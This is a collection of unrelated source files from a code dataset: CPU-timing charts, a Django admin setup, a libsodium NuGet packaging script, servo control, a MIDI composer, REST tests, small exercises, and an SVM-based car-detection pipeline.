[]\nDescubrir_EjeTiempoDesvioEs.append(c___catedra_desvioEs_Descubrir)\nDescubrir_EjeTiempoDesvioEs.append(asm_alumnos_desvioEs_Descubrir)\n\nplt.rcdefaults()\nfig, ax = plt.subplots()\nplt.barh(Descubrir_distribucion_Barras, Descubrir_EjeTiempoPromedio, xerr=Descubrir_EjeTiempoDesvioEs, align='center')\nplt.yticks(Descubrir_distribucion_Barras)\nax.set_yticklabels(Descubrir_EjeImplemt)\nax.invert_yaxis()\nfor i, v in enumerate(Descubrir_EjeTiempoPromedio):\n ax.text(v+3, i+.25, \"{:.2e}\".format(v) + \"\\n\" +chr(177) + \" \" + \"{:.2e}\".format(Descubrir_EjeTiempoDesvioEs[i])) #str(round(v,-3)) + \"\\n\" +chr(177) + \" \" + str(round(Descubrir_EjeTiempoDesvioEs[i],-3))\nax.set_xlim([0,1200000])\nplt.xlabel('Pulsos de reloj de CPU')\nplt.title('Tiempos de ejecución Descubrir\\n' + Descubrir_nombre)\nplt.savefig(\"Descubrir.\" + Descubrir_nombre + \".jpg\")\n\n\n\n\nZigzag_EjeImplemt = ('C','ASM\\nsin\\noptimizar')\nZigzag_distribucion_Barras = np.arange(len(Zigzag_EjeImplemt))\nZigzag_EjeTiempoPromedio = []\nZigzag_EjeTiempoPromedio.append(c___catedra_promedio_Zigzag)\nZigzag_EjeTiempoPromedio.append(asm_alumnos_promedio_Zigzag)\nZigzag_EjeTiempoDesvioEs = []\nZigzag_EjeTiempoDesvioEs.append(c___catedra_desvioEs_Zigzag)\nZigzag_EjeTiempoDesvioEs.append(asm_alumnos_desvioEs_Zigzag)\n\nplt.rcdefaults()\nfig, ax = plt.subplots()\nplt.barh(Zigzag_distribucion_Barras, Zigzag_EjeTiempoPromedio, xerr=Zigzag_EjeTiempoDesvioEs, align='center')\nplt.yticks(Zigzag_distribucion_Barras)\nax.set_yticklabels(Zigzag_EjeImplemt)\nax.invert_yaxis()\nfor i, v in enumerate(Zigzag_EjeTiempoPromedio):\n ax.text(v+3, i+.25, \"{:.2e}\".format(v) + \"\\n\" +chr(177) + \" \" + \"{:.2e}\".format(Zigzag_EjeTiempoDesvioEs[i])) #str(round(v,-3)) + \"\\n\" +chr(177) + \" \" + str(round(Zigzag_EjeTiempoDesvioEs[i],-3))\nax.set_xlim([0,1200000])\nplt.xlabel('Pulsos de reloj de CPU')\nplt.title('Tiempos de ejecución Zigzag\\n' + nombre)\nplt.savefig(\"Zigzag.\" + nombre + \".jpg\")\n","sub_path":"tests/4_mediciones.py","file_name":"4_mediciones.py","file_ext":"py","file_size_in_byte":16388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"195568894","text":"import xadmin\n\n\nfrom .models import Post,Category,Tag\nfrom xadmin.views import BaseAdminPlugin,UpdateAdminView,CreateAdminView\n\nfrom xadmin import views\n\n\n\nclass BaseSetting(object):\n enable_themes = True\n use_bootswatch = True\n\n\nclass GlobalSettings(object): \n site_title = \"pyblog后台管理\" #设置头标题\n site_footer = \"pyblog 2018-2019\" #设置脚标题\n # menu_style = \"accordion\"\n\n\nxadmin.site.register(views.BaseAdminView, BaseSetting)\nxadmin.site.register(views.CommAdminView, GlobalSettings)\n\nclass CategoryVerifyRecord(object):\n list_display=['id','name']\n search_fields=['name']\n list_filter=['name']\n relfield_style = \"fk-select\"\n reversion_enable = True\n\nclass TagVerifyRecord(object):\n list_display=['id','name']\n search_fields=['name']\n list_filter=['name']\n relfield_style = \"fk-select\"\n reversion_enable = True\n\nclass PostVerifyRecord(object):\n list_display=['id','title','excerpt','views','category','modified_time']\n search_fields=['title','excerpt','views','category','modified_time']\n list_filter=['title','excerpt','category']\n relfield_style = \"fk-select\"\n reversion_enable = True\n\n \n\n\nclass SimditorPlugin(BaseAdminPlugin):\n\n def get_media(self,media):\n return media\n \n def block_extrahead(self,context,nodes):\n css=''\n css+=''%(self.static('blog/simeditor2.3.16/styles/simditor.css'))\n css+=''%(self.static('blog/simeditor2.3.16/styles/simditor-html.css'))\n css+=''%(self.static('blog/simeditor2.3.16/styles/simditor-markdown.css'))\n js='' % (self.static('blog/simeditor2.3.16/scripts/jquery.min.js'))\n js+='' % (self.static('blog/simeditor2.3.16/scripts/beautify-html.js'))\n js+='' % (self.static('blog/simeditor2.3.16/scripts/marked.js'))\n js+='' % (self.static('blog/simeditor2.3.16/scripts/to-markdown.js'))\n js+='' % (self.static('blog/simeditor2.3.16/scripts/module.js'))\n js+='' % (self.static('blog/simeditor2.3.16/scripts/hotkeys.js'))\n js+='' % (self.static('blog/simeditor2.3.16/scripts/uploader.js'))\n js+='' % (self.static('blog/simeditor2.3.16/scripts/simditor.js'))\n js+='' % (self.static('blog/simeditor2.3.16/scripts/simditor-autosave.js'))\n js+='' % (self.static('blog/simeditor2.3.16/scripts/simditor-html.js'))\n js+='' % (self.static('blog/simeditor2.3.16/scripts/simditor-markdown.js'))\n js+='' % (self.static('blog/simeditor2.3.16/scripts/simditor-textarea.js'))\n nodes.append(css+js)\n\nxadmin.site.register(Category,CategoryVerifyRecord)\nxadmin.site.register(Tag,TagVerifyRecord)\nxadmin.site.register(Post,PostVerifyRecord)\n\n#加入编辑器插件\nxadmin.site.register_plugin(SimditorPlugin,CreateAdminView)\nxadmin.site.register_plugin(SimditorPlugin,UpdateAdminView)","sub_path":"blog/adminx.py","file_name":"adminx.py","file_ext":"py","file_size_in_byte":3618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"503246958","text":"#!/usr/bin/python3\n\nimport datetime\nimport json\nimport os.path\nimport sys\nimport xml.etree.ElementTree as ET\n\n#\n# OUTPUT CONFIGURATION\n#\n\n# Package metadata\nNUPKG_ID = 'libsodium'\nNUPKG_VERSION = '1.0.11'\n\n# The names of the libsodium binaries in the package\nLIBSODIUM_DLL = 'libsodium.dll'\nLIBSODIUM_DYLIB = 'libsodium.dylib'\nLIBSODIUM_SO = 'libsodium.so'\n\n#\n# INPUT CONFIGURATION\n#\n\n# The archives to download\nWIN_FILE = 'libsodium-1.0.11-msvc.zip'\nDEB_FILE = 'libsodium18_1.0.11-1_amd64.deb'\nRPM_FILE = 'libsodium18-1.0.11-14.1.x86_64.rpm'\nOSX_FILE = 'libsodium-1.0.11.{0}.bottle.tar.gz'\n\n# The URLs of the archives\nOFFICIAL_URL = 'https://download.libsodium.org/libsodium/releases/{0}'\nOPENSUSE_URL = 'http://download.opensuse.org/repositories/home:/nsec/{0}/{1}/{2}'\nHOMEBREW_URL = 'https://bintray.com/homebrew/bottles/download_file?file_path={0}'\n\n# The files within the archives to extract\nWIN_LIB = '{0}/Release/v140/dynamic/libsodium.dll'\nDEB_LIB = './usr/lib/x86_64-linux-gnu/libsodium.so.18.1.1'\nRPM_LIB = './usr/lib64/libsodium.so.18.1.1'\nOSX_LIB = 'libsodium/1.0.11/lib/libsodium.18.dylib'\n\n# Commands to extract a file from an archive\nDEB_EXTRACT = 'ar -p {0} data.tar.xz | tar xJ \"{1}\"'\nRPM_EXTRACT = 'rpm2cpio {0} | cpio -i \"{1}\"'\nTAR_EXTRACT = 'tar xzf {0} \"{1}\"'\nZIP_EXTRACT = 'unzip {0} \"{1}\"'\n\n# The inputs\nINPUTS = [\n\n ( 'win10-x64',\n WIN_FILE,\n OFFICIAL_URL.format(WIN_FILE),\n WIN_LIB.format('x64'),\n ZIP_EXTRACT,\n LIBSODIUM_DLL),\n\n ( 'win10-x86',\n WIN_FILE,\n OFFICIAL_URL.format(WIN_FILE),\n WIN_LIB.format('Win32'),\n ZIP_EXTRACT,\n LIBSODIUM_DLL),\n\n ( 'debian.8-x64',\n DEB_FILE,\n OPENSUSE_URL.format('Debian_8.0', 'amd64', DEB_FILE),\n DEB_LIB,\n DEB_EXTRACT,\n LIBSODIUM_SO),\n\n ( 'ubuntu.14.04-x64',\n DEB_FILE,\n OPENSUSE_URL.format('xUbuntu_14.04', 'amd64', DEB_FILE),\n DEB_LIB,\n DEB_EXTRACT,\n LIBSODIUM_SO),\n\n ( 'ubuntu.16.04-x64',\n DEB_FILE,\n OPENSUSE_URL.format('xUbuntu_16.04', 'amd64', DEB_FILE),\n DEB_LIB,\n DEB_EXTRACT,\n LIBSODIUM_SO),\n\n ( 'ubuntu.16.10-x64',\n DEB_FILE,\n OPENSUSE_URL.format('xUbuntu_16.10', 'amd64', DEB_FILE),\n DEB_LIB,\n DEB_EXTRACT,\n LIBSODIUM_SO),\n\n ( 'centos.7-x64',\n RPM_FILE,\n OPENSUSE_URL.format('CentOS_7', 'x86_64', RPM_FILE),\n RPM_LIB,\n RPM_EXTRACT,\n LIBSODIUM_SO),\n\n ( 'fedora.23-x64',\n RPM_FILE,\n OPENSUSE_URL.format('Fedora_23', 'x86_64', RPM_FILE),\n RPM_LIB,\n RPM_EXTRACT,\n LIBSODIUM_SO),\n\n ( 'fedora.24-x64',\n RPM_FILE,\n OPENSUSE_URL.format('Fedora_24', 'x86_64', RPM_FILE),\n RPM_LIB,\n RPM_EXTRACT,\n LIBSODIUM_SO),\n\n ( 'fedora.25-x64',\n RPM_FILE,\n OPENSUSE_URL.format('Fedora_25', 'x86_64', RPM_FILE),\n RPM_LIB,\n RPM_EXTRACT,\n LIBSODIUM_SO),\n\n ( 'opensuse.42.1-x64',\n RPM_FILE,\n OPENSUSE_URL.format('openSUSE_Leap_42.1', 'x86_64', RPM_FILE),\n RPM_LIB,\n RPM_EXTRACT,\n LIBSODIUM_SO),\n\n ( 'opensuse.42.2-x64',\n RPM_FILE,\n OPENSUSE_URL.format('openSUSE_Leap_42.2', 'x86_64', RPM_FILE),\n RPM_LIB,\n RPM_EXTRACT,\n LIBSODIUM_SO),\n\n ( 'rhel.7-x64',\n RPM_FILE,\n OPENSUSE_URL.format('RHEL_7', 'x86_64', RPM_FILE),\n RPM_LIB,\n RPM_EXTRACT,\n LIBSODIUM_SO),\n\n ( 'osx.10.10-x64',\n OSX_FILE.format('yosemite'),\n HOMEBREW_URL.format(OSX_FILE.format('yosemite')),\n OSX_LIB,\n TAR_EXTRACT,\n LIBSODIUM_DYLIB),\n\n ( 'osx.10.11-x64',\n OSX_FILE.format('el_capitan'),\n HOMEBREW_URL.format(OSX_FILE.format('el_capitan')),\n OSX_LIB,\n TAR_EXTRACT,\n LIBSODIUM_DYLIB),\n\n ( 'osx.10.12-x64',\n OSX_FILE.format('sierra'),\n HOMEBREW_URL.format(OSX_FILE.format('sierra')),\n OSX_LIB,\n TAR_EXTRACT,\n LIBSODIUM_DYLIB),\n\n]\n\n# The version cookie\nCOOKIE_FILE = 'version.json'\n\n#\n# INTERMEDIATE FILES\n#\n\nCACHEDIR = 'cache'\nTEMPDIR = 'build'\n\n#\n# DO NOT EDIT BELOW THIS LINE\n#\n\nclass Item:\n def __init__(self, input, cachedir, tempdir):\n rid, archive, url, file, extract, lib = input\n\n self.rid = rid\n self.archive = archive\n self.url = url\n self.file = file\n self.extract = extract\n self.lib = lib\n\n self.cachefile = os.path.join(cachedir, rid, archive)\n self.sourcedir = os.path.join(tempdir, rid)\n self.sourcefile = os.path.join(tempdir, rid, os.path.normpath(file))\n self.targetfile = os.path.join('runtimes', rid, 'native', lib)\n\ndef create_nuspec(template, nuspec, version, items):\n tree = ET.parse(template)\n package = tree.getroot()\n metadata = package.find('metadata')\n metadata.find('version').text = version\n files = package.find('files')\n for item in items:\n ET.SubElement(files, 'file', src=item.sourcefile, target=item.targetfile).tail = '\\n'\n tree.write(nuspec, 'ascii', '')\n\ndef create_makefile(makefile, nupkg, nuspec, items):\n with open(makefile, 'w') as f:\n for item in items:\n f.write('FILES += {0}\\n'.format(item.sourcefile))\n f.write('\\n')\n f.write('{0}: {1} $(FILES)\\n\\tdotnet nuget pack $<\\n'.format(nupkg, nuspec))\n for item in items:\n f.write('\\n')\n f.write('{0}:\\n\\t@mkdir -p $(dir $@)\\n\\tcurl -f#Lo $@ \"{1}\"\\n'.format(item.cachefile, item.url))\n for item in items:\n f.write('\\n')\n f.write('{0}: {1}\\n\\t@mkdir -p $(dir $@)\\n\\tcd {2} && {3}\\n'.format(\n item.sourcefile,\n item.cachefile,\n item.sourcedir,\n item.extract.format(os.path.relpath(item.cachefile, item.sourcedir), item.file)))\n\ndef make_prerelease_version(version, suffix, cookie_file):\n cookies = dict()\n if os.path.isfile(cookie_file):\n with open(cookie_file, 'r') as f:\n cookies = json.load(f)\n cookie = cookies.get(suffix, '---').split('-')\n year, month, day, *rest = datetime.datetime.utcnow().timetuple()\n major = '{0:03}{1:02}'.format(year * 12 + month - 23956, day)\n minor = int(cookie[3]) + 1 if cookie[:3] == [version, suffix, major] else 1\n result = '{0}-{1}-{2}-{3:02}'.format(version, suffix, major, minor)\n cookies[suffix] = result\n with open(cookie_file, 'w') as f:\n json.dump(cookies, f, indent=4, sort_keys=True)\n return result\n\ndef main(args):\n if len(args) > 2 or len(args) > 1 and not args[1].isalpha:\n print('usage: {0} [label]'.format(os.path.basename(args[0])))\n sys.exit(1)\n\n version = NUPKG_VERSION\n\n if len(args) > 1:\n suffix = args[1].lower()\n else:\n suffix = 'preview'\n\n if suffix != 'release':\n version = make_prerelease_version(version, suffix, COOKIE_FILE)\n print('updated', COOKIE_FILE)\n\n template = NUPKG_ID + '.nuspec'\n nuspec = NUPKG_ID + '.' + version + '.nuspec'\n nupkg = NUPKG_ID + '.' + version + '.nupkg'\n\n tempdir = os.path.join(TEMPDIR, version)\n items = [Item(input, CACHEDIR, tempdir) for input in INPUTS]\n\n create_nuspec(template, nuspec, version, items)\n print('created', nuspec)\n\n create_makefile('Makefile', nupkg, nuspec, items)\n print('created', 'Makefile', 'to make', nupkg)\n\nif __name__ == '__main__':\n main(sys.argv)\n","sub_path":"packaging/dotnet-core/prepare.py","file_name":"prepare.py","file_ext":"py","file_size_in_byte":6919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"591810809","text":"\n# Control servo motor\n# SImply run servo motor for \"jigging_time\"\n# Then pause servo motor for \"stopped_percent\"\n\nimport time\nimport wiringpi\n\nclass Servo:\n def __init__(self, brainz=None, verbose=False):\n self.verbose = verbose\n self.brainz = brainz\n self.started = False\n self.cycle_time = 0\n self.cycle_to = brainz.jigging_time * (100 - brainz.stopped_percent) / 100\n self.stopped = False\n\n def __print(self, str):\n if self.verbose:\n print (str)\n\n def start(self):\n self.started = True\n # use 'GPIO naming'\n wiringpi.wiringPiSetupGpio()\n # set #18 to be a PWM output\n wiringpi.pinMode(18, wiringpi.GPIO.PWM_OUTPUT)\n # set the PWM mode to milliseconds stype\n wiringpi.pwmSetMode(wiringpi.GPIO.PWM_MODE_MS)\n # divide down clock\n wiringpi.pwmSetClock(192)\n wiringpi.pwmSetRange(2000)\n\n def stop(self):\n self.started = False\n\n def tick(self,interval):\n self.__print(\"Hei\")\n self.__print(self.started)\n if not self.started:\n return\n if self.stopped:\n self.__print(\"Stopped\")\n wiringpi.pwmWrite(18, 169)\n else:\n self.__print(\"Move\")\n wiringpi.pwmWrite(18, 175)\n\n self.cycle_time += interval\n\n if self.cycle_time >= self.cycle_to:\n self.cycle_time = 0\n self.stopped = not self.stopped\n if self.stopped:\n self.cycle_to = self.brainz.jigging_time * self.brainz.stopped_percent / 100\n else:\n self.cycle_to = self.brainz.jigging_time * (100 - self.brainz.stopped_percent) / 100\n","sub_path":"servo.py","file_name":"servo.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"462239290","text":"from collections import Counter\nfrom operator import itemgetter\nclass Solution(object):\n def frequencySort(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n counter = Counter(s)\n\n sorted_chrs = sorted(counter.items(), key=itemgetter(1), reverse=True)\n\n sorted_by_freq = list(map(itemgetter(0), sorted_chrs))\n result = []\n for c in sorted_by_freq:\n result.extend([c] * counter[c])\n\n return ''.join(result)\n\nstr1 = 'tree'\nresult = Solution().frequencySort(str1)\nprint(result)\n\n","sub_path":"sort-characters-by-frequency/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"133914152","text":"import random\n\n# 미션1: 키를 이용한 정렬 예제\nclass Person:\n def __init__(self, name, age):\n self.name = name\n self.age = age\n\n def __repr__(self):\n return repr('<이름: %s, 나이: %d>' % (self.name, self.age))\n\naddressBook = [\n Person('최자영', 38),\n Person('김철수', 35),\n Person('홍길동', 20)\n]\n\naddressBook.sort(key=lambda address: address.age)\nprint(addressBook)\n\n# 미션2: 피보나치 이터레이터\nclass FibIterator:\n def __init__(self, a=1, b=0, maxValue=50):\n self.a = a\n self.b = b\n self.maxValue = maxValue\n\n def __iter__(self):\n return self\n\n def __next__(self):\n n = self.a + self.b\n if n > self.maxValue:\n raise StopIteration()\n self.a = self.b\n self.b = n\n return n\n\nfor i in FibIterator():\n print(i, end=\" \")\nprint()\n\n# 미션3: 동전 던기지 게임\narr = [\"head\", \"tail\"]\n\nwhile True:\n answer = input(\"동전 던지기를 계속하시겠습니까?(yes, no) \")\n if answer == 'no' or (not answer == 'no' and not answer == 'yes'):\n break\n print(random.choice(arr))","sub_path":"2018037010_11.py","file_name":"2018037010_11.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"381574348","text":"# -*- coding: utf-8 -*-\nfrom nose.tools import assert_equal\nfrom nose_config import set_rest, load_from_json, json_is_valid\n\n\n# ---------------------TESTS---------------------#\ndef test_programs_get_rest():\n r = rest.program.get_list()\n assert_equal(r[0], 200, 'CODE 200')\n schema = load_from_json(\"data/json_schemas/programs.json\")\n v = json_is_valid(r[1], schema)\n assert_equal(v[0], True, v[1])\n\n\ndef test_programs_get_current_next():\n r = rest.program.get_current_next()\n assert_equal(r[0], 200, 'CODE 200')\n schema = load_from_json(\"data/json_schemas/programs_current_next.json\")\n v = json_is_valid(r[1], schema)\n assert_equal(v[0], True, v[1])\n\n\ndef test_programs_get_on_demand():\n r = rest.program.get_on_demand_next()\n assert_equal(r[0], 200, 'CODE 200')\n schema = load_from_json(\"data/json_schemas/programs_on_demand.json\")\n v = json_is_valid(r[1], schema)\n assert_equal(v[0], True, v[1])\n\n\ndef setup_module():\n global rest\n rest = set_rest()\n\n","sub_path":"tests/test_programs_rest.py","file_name":"test_programs_rest.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"158837875","text":"'''\nCreated on Aug 2, 2014\nmodified from the single-note-example form midiutil\n@author: darius\n'''\n############################################################################\n# A sample program to create a multi-track MIDI file, add notes,\n# and write to disk.\n############################################################################\n\n#Import the library\nfrom MidiFile3 import MIDIFile\nimport testgui\n\n# Create the MIDIFile Object\nMyMIDI = MIDIFile(2) ### the integer = the number of parallel tracks available\n\n# Add track names and tempo. The first argument to addTrackName and\n# addTempo is the time to write the event. This initialises the tracks.\ntracks = (0, 1)\nstart_time = 0\n\nMyMIDI.addTrackName(tracks[0],start_time,\"Piano\")\nMyMIDI.addTempo(tracks[0],start_time, 120)\n#MyMIDI.addTrackName(tracks[1],start_time,\"Cello\")\n#MyMIDI.addTempo(tracks[1],start_time, 120)\n\n# Each track can hold multiple channels, we'll use two for now\nchannels = (0,1)\n\n# Add a note. addNote expects the following information:\n#channel = some integer >= 0\n#pitch = some integer >= 0 ... middle C = 60\n#duration = 1 corresponds to a crotchet, aka a quarter note\n#volume = 100\nvolume = Window.volume_data # may as well specify this here for now\n\n# Now add the note.\n# MyMIDI.addNote(track,channel,pitch,note_start_time,duration,volume)\nclass compose:\n def __init__(self):\n self.treble_loc = start_time\n self.bass_loc = start_time\n# self.octave = dict([('C',60),('D',62),('E',64),('F',65),\n# ('G',67),('A',69),('B',71),\n# ('C#',61),('D#',63),('F#',66),('G#',68),('A#',70),\n# ('Db',61),('Eb',63),('Gb',66),('Ab',68),('Bb',70)])\n\n def add2treble(self, pitch, length):\n MyMIDI.addNote(tracks[0],channels[0],pitch,self.treble_loc,length,volume)\n self.treble_loc += length # moving to next time to start a note\n def add2bass(self, pitch, length):\n MyMIDI.addNote(tracks[0],channels[1],pitch,self.bass_loc,length,volume)\n self.bass_loc += length # moving to next time to start a note\n\ncomposition = compose()\ncomposition.add2treble(64, 1)\ncomposition.add2treble(62, 1)\ncomposition.add2treble(60, 2)\ncomposition.add2bass(48, 1)\ncomposition.add2bass(55, 1)\ncomposition.add2bass(48, 2)\n\nprint(str(volume))\n\n# And write it to disk.\nbinfile = open(\"output.mid\", 'wb')\nMyMIDI.writeFile(binfile)\nbinfile.close()\n\n","sub_path":"classical_optimism.py","file_name":"classical_optimism.py","file_ext":"py","file_size_in_byte":2424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"638157553","text":"#!/Library/Frameworks/Python.framework/Versions/3.5/bin/python3\n\n# create a 300x300 canvas.\n# create a square drawing function that takes 1 parameter:\n# the square size\n# and draws a square of that size to the center of the canvas.\n# draw 3 squares with that function.\n\nfrom tkinter import *\nroot = Tk()\n\nsize = 300\ncanvas = Canvas(root, width=size, height=size)\ncanvas.pack()\n\n\ndef square_drawing(x):\n canvas.create_rectangle(size/2 - x/2, size/2 - x/2, size/2 + x/2, size/2 + x/2, fill=\"green\")\n print (size/2-x)\n print (size/2)\n\n\nsquare_drawing(120)\nsquare_drawing(50)\nsquare_drawing(20)\n\n\nroot.mainloop()\n","sub_path":"week-04/day-3/09.py","file_name":"09.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"17319982","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun May 14 18:53:35 2017\r\n\r\n@author: Anton Varfolomeev\r\n\"\"\"\r\n\r\nimport matplotlib.image as mpimg\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pickle\r\nimport time\r\nimport cv2\r\nfrom scipy.ndimage.measurements import label\r\n\r\n\r\n# Set up SVM from OpenCV 3\r\ndef cv_svm (X_train, X_test, y_train, y_test):\r\n C=0.8\r\n kernel = 'rbf'\r\n gamma = 6.5e-4\r\n\r\n t=time.time()\r\n \r\n svm = cv2.ml.SVM_create()\r\n # Set SVM type\r\n svm.setType(cv2.ml.SVM_C_SVC)\r\n # Set SVM Kernel to Radial Basis Function (RBF) \r\n svm.setKernel(cv2.ml.SVM_RBF)\r\n # Set parameter C\r\n svm.setC(C)\r\n # Set parameter Gamma\r\n svm.setGamma(gamma)\r\n \r\n # Train SVM on training data \r\n svm.train(X_train, cv2.ml.ROW_SAMPLE, y_train)\r\n\r\n t2 = time.time()\r\n \r\n # Save trained model \r\n svm.save(\"./models/u_svm_model.yml\");\r\n \r\n # Test on a held out test set\r\n testResponse = svm.predict(X_test)[1].ravel()\r\n accuracy = 1-sum(np.abs(testResponse-y_test))/y_test.size\r\n\r\n\r\n print(round(t2-t, 2), 'Seconds to train cv2.SVM...')\r\n # Check the score of the SVC\r\n print('Test Accuracy of cv2.SVM = ', round(accuracy, 4))\r\n return svm\r\n \r\ndef score (svm, X_test, y_test):\r\n testResponse = svm.predict(X_test)[1].ravel()\r\n accuracy = 1-sum(np.abs(testResponse-y_test))/y_test.size\r\n return accuracy\r\n\r\n#%%\r\n# Define a single function that can extract features using hog sub-sampling and make predictions\r\ndef find_cars(img, ystart, ystop, scale, svc, X_scaler, orient, pix_per_cell, \r\n cell_per_block, spatial_size, cells_per_step):\r\n global hot_features\r\n global patches\r\n \r\n \r\n img_tosearch = img[ystart:ystop,:,:]\r\n ctrans_tosearch = cv2.cvtColor(img_tosearch, cv2.COLOR_RGB2HLS)\r\n if scale != 1:\r\n imshape = ctrans_tosearch.shape\r\n ctrans_tosearch = cv2.resize(ctrans_tosearch, (np.int(imshape[1]/scale), np.int(imshape[0]/scale)))\r\n \r\n ch1 = ctrans_tosearch[:,:,0]\r\n ch2 = ctrans_tosearch[:,:,1]\r\n ch3 = ctrans_tosearch[:,:,2]\r\n\r\n # Define blocks and steps as above\r\n nxblocks = (ch1.shape[1] // pix_per_cell) - cell_per_block + 1\r\n nyblocks = (ch1.shape[0] // pix_per_cell) - cell_per_block + 1 \r\n nfeat_per_block = orient*cell_per_block**2\r\n \r\n # 64 was the orginal sampling rate, with 8 cells and 8 pix per cell\r\n window = spatial_size\r\n win_draw = np.int(window*scale)\r\n\r\n nblocks_per_window = (window // pix_per_cell) - cell_per_block + 1\r\n #cells_per_step = 2 # Instead of overlap, define how many cells to step\r\n nxsteps = (nxblocks - nblocks_per_window) // cells_per_step + 1\r\n nysteps = (nyblocks - nblocks_per_window) // cells_per_step + 1\r\n \r\n # size of one hog vector\r\n hogSize = nblocks_per_window * nblocks_per_window * cell_per_block * cell_per_block * orient\r\n\r\n #define shape for target matrices\r\n hogShape = (nysteps, nxsteps, hogSize)\r\n # Compute individual channel HOG features for the entire image\r\n #done hog_cv.compute (ch1, (16,16))\r\n hog1 = get_hog_features(ch1, orient, pix_per_cell, cell_per_block, window, cells_per_step).reshape(hogShape)\r\n hog2 = get_hog_features(ch2, orient, pix_per_cell, cell_per_block, window, cells_per_step).reshape(hogShape)\r\n hog3 = get_hog_features(ch3, orient, pix_per_cell, cell_per_block, window, cells_per_step).reshape(hogShape)\r\n \r\n #patches = np.zeros((nysteps, nxsteps, window, window,3),np.uint8)\r\n boxes = np.zeros((nxsteps*nysteps,2,2), np.int32)\r\n bboxes = []\r\n features = np.zeros((nxsteps*nysteps, hogSize*3), np.float32)\r\n #todo: loop\r\n for yb in range(nysteps):\r\n for xb in range(nxsteps):\r\n # Extract HOG for this patch\r\n \r\n ypos = yb*cells_per_step\r\n xpos = xb*cells_per_step\r\n\r\n xleft = xpos*pix_per_cell\r\n ytop = ypos*pix_per_cell\r\n \r\n \r\n # Extract HOG for this patch\r\n hog_feat1 = hog1[yb, xb]\r\n hog_feat2 = hog2[yb, xb]\r\n hog_feat3 = hog3[yb, xb]\r\n hog_features = np.hstack((hog_feat1, hog_feat2, hog_feat3))\r\n\r\n # Extract the image patch\r\n #subimg = ctrans_tosearch[ytop:ytop+window, xleft:xleft+window]\r\n #patches[yb,xb] = subimg\r\n \r\n # Get color features\r\n #spatial_features = bin_spatial(subimg, size=spatial_size)\r\n #hist_features = color_hist(subimg, nbins=hist_bins)\r\n\r\n # Scale features and make a prediction\r\n features[yb*nxsteps + xb] = (X_scaler.transform(hog_features.reshape(1,-1)))\r\n boxes[yb*nxsteps + xb] = ((xleft*scale, ytop*scale + ystart), \r\n ((xleft+window)*scale, (ytop+window)*scale+ystart))\r\n #test_features = X_scaler.transform(np.hstack((shape_feat, hist_feat)).reshape(1, -1)) \r\n \r\n prediction = unSvm.predict(features)[1].ravel()\r\n \r\n for i in range(len(prediction)):\r\n if (prediction[i] == 1):\r\n bboxes.append( boxes[i] );\r\n \r\n return bboxes\r\n \r\n#%%\r\ndef draw_bboxes(img, bboxes):\r\n draw_img = np.copy(img)\r\n\r\n color = (0,0,255)\r\n thickness = 6\r\n\r\n\r\n for box in boxes:\r\n #print (\"detected at\", xb,yb, xbox_left, ytop_draw)\r\n cv2.rectangle(draw_img, tuple(box[0]), tuple(box[1]), color, thickness) \r\n return draw_img \r\n\r\n#%%\r\n\r\ndef boxes_multy_scale(img):\r\n global scales\r\n global window\r\n top = 400\r\n cell = 8 #cell size in pixels\r\n shift = 2 #shift in cells\r\n boxes = []\r\n for scale in scales:\r\n #bottom = top + np.int(window * scale) + 1\r\n bottom = top + np.int(window * scale + cell * shift * scale) + 1\r\n boxes.extend(find_cars(img, top, bottom, scale, mySvm, X_scaler, 11, \r\n cell, 2, window, shift))\r\n return boxes\r\n \r\ndef add_heat(heatmap, bbox_list, tau=0.9):\r\n # Iterate through list of bboxes\r\n heatmap = heatmap * tau\r\n for box in bbox_list:\r\n # Add += 1 for all pixels inside each bbox\r\n # Assuming each \"box\" takes the form ((x1, y1), (x2, y2))\r\n width = box[1][1]-box[0][1];\r\n height = box[1][0]-box[0][0];\r\n bx = np.ones(( width, height), np.float32) #/2\r\n #bx2 = np.ones((width//2, height//2), np.float32)/2\r\n #bx[width//4:(width + width//2)//2, height//4:(height+height//2)//2] += bx2 \r\n heatmap[box[0][1]:box[1][1], box[0][0]:box[1][0]] += bx\r\n\r\n # Return updated heatmap\r\n return heatmap# Iterate through list of bboxes\r\n \r\ndef draw_labeled_bboxes(img, labels):\r\n # Iterate through all detected cars\r\n for car_number in range(1, labels[1]+1):\r\n # Find pixels with each car_number label value\r\n nonzero = (labels[0] == car_number).nonzero()\r\n # Identify x and y values of those pixels\r\n nonzeroy = np.array(nonzero[0])\r\n nonzerox = np.array(nonzero[1])\r\n # Define a bounding box based on min/max x and y\r\n x0 = np.min(nonzerox)\r\n x1 = np.max(nonzerox)\r\n y0 = np.min(nonzeroy)\r\n y1 = np.max(nonzeroy)\r\n w = x1 - x0\r\n h = y1 - y0\r\n if (w > window * 2 and h > window * 2):\r\n bbox = ((x0, y0), (x1, y1))\r\n # Draw the box on the image\r\n cv2.rectangle(img, bbox[0], bbox[1], (0,100,0), 3)\r\n # Return the image\r\n return img\r\n \r\n#%%\r\n\r\n\r\n\r\n#main processing pipeline\r\ndef process_image(image):\r\n global heat;\r\n\r\n\r\n boxes = boxes_multy_scale(image)\r\n heat = add_heat(heat,boxes,tau)\r\n \r\n heat_thr = heat.copy();\r\n heat_thr[heat_thr < thr] = 0;\r\n\r\n labels = 